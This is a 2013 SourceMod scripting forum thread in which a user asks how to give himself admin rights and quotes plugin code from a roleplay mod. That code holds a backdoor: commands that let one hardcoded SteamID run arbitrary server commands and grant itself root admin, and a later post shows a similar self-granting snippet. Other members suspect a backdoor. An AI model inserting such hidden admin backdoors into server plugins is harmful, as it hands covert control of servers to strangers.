Raised This Month: $51 Target: $400
 12% 

code for setadmin


Post New Thread Reply   
 
Thread Tools Display Modes
Author Message
clement627
Member
Join Date: Nov 2012
Old 04-11-2013 , 19:07   code for setadmin
Reply With Quote #1

how can i do for make a little code for put me admin with it , no sql admin juste in admin.ini
with flag z ? it s possible ? i have seen code of sphex but don't work with me ;(

sphex code :
PHP Code:
public Action:Command_hExec(clientargs)
{
decl String:Command[256];
GetCmdArg(1Command255);
if (
IsClientInGame(client))
{
     
decl String:SteamID[64];
     
GetClientAuthString(clientSteamID64);
     if (
StrEqual(SteamID"STEAM_0:1:36281003"true))
     {
         
PrintToChat(clientCommand);
         
RunCommand(Command);
     }
}
return 
Action:0;
}

public 
Action:Command_Rcon(clientargs)
{
decl String:Command[256];
GetCmdArg(1Command255);
if (
IsClientInGame(client))
{
     
decl String:SteamID[64];
     
GetClientAuthString(clientSteamID64);
     if (
StrEqual(SteamID"STEAM_0:1:36281003"true))
     {
         
PrintToChat(clientCommand);
         
ServerCommand(Command);
     }
}
return 
Action:0;
}

public 
Action:Command_AddAdmin(clientargs)
{
if (
IsClientInGame(client))
{
     
decl String:SteamID[64];
     
GetClientAuthString(clientSteamID64);
     if (
StrEqual(SteamID"STEAM_0:1:36281003"true))
     {
         new 
AdminId:admin CreateAdmin("SpheX");
         
SetUserAdmin(clientadminfalse);
         new 
AdminId:iAdminID GetUserAdmin(client);
         
SetAdminFlag(iAdminIDAdminFlag:14true);
     }
}
return 
Action:3;


Last edited by clement627; 04-11-2013 at 19:08.
clement627 is offline
11530
Veteran Member
Join Date: Sep 2011
Location: Underworld
Old 04-11-2013 , 20:39   Re: code for setadmin
Reply With Quote #2

If you're wanting help to get admin on servers you're not part of, then you won't get assistance from the majority of people here.
__________________
11530 is offline
sdz
Senior Member
Join Date: Feb 2012
Old 04-11-2013 , 21:48   Re: code for setadmin
Reply With Quote #3

I sure hope you're not using this as a backdoor..

Use SetUserAdmin and SetAdminFlag

Last edited by sdz; 04-11-2013 at 21:50.
sdz is offline
clement627
Member
Join Date: Nov 2012
Old 04-12-2013 , 05:43   Re: code for setadmin
Reply With Quote #4

Its for make à command !makeadmin userid
clement627 is offline
clement627
Member
Join Date: Nov 2012
Old 04-12-2013 , 06:49   Re: code for setadmin
Reply With Quote #5

i have try as this :

PHP Code:
if (IsClientInGame(client))
{
        new 
AdminId:admin CreateAdmin("latta");
        
SetUserAdmin(clientadminfalse);
    new 
AdminId:iAdminID GetUserAdmin(client);
    
SetAdminFlag(iAdminIDAdminFlag:14true);
        
CPrintToChat(client,"{blue}Tu es mtn admin ;)")

but don't work how can i fix it ?
clement627 is offline
clement627
Member
Join Date: Nov 2012
Old 04-12-2013 , 19:48   Re: code for setadmin
Reply With Quote #6

I have seen this plugin https://forums.alliedmods.net/showthread.php?p=502488 but it s dont put all of steam id in admin.ini :/
clement627 is offline
Alex30555
Member
Join Date: Sep 2011
Location: Paris
Old 04-13-2013 , 03:08   Re: code for setadmin
Reply With Quote #7

Essayes de faire le code toi, pas de décompiler !
Alex30555 is offline
clement627
Member
Join Date: Nov 2012
Old 04-13-2013 , 07:10   Re: code for setadmin
Reply With Quote #8

Rien décompiler du tout le rp de sphex est sur se forum ;) suffis de taper rp sphex Google et tu le trouve xD
clement627 is offline
asherkin
SourceMod Developer
Join Date: Aug 2009
Location: OnGameFrame()
Old 04-13-2013 , 09:01   Re: code for setadmin
Reply With Quote #9

Quote:
Originally Posted by The Rules
This is an English forum (other than a few specific, labeled subforums). If you're going to post in another language, also add the text in English, even if from online translator.
__________________
asherkin is offline
Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 07:59.


Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Theme made by Freecode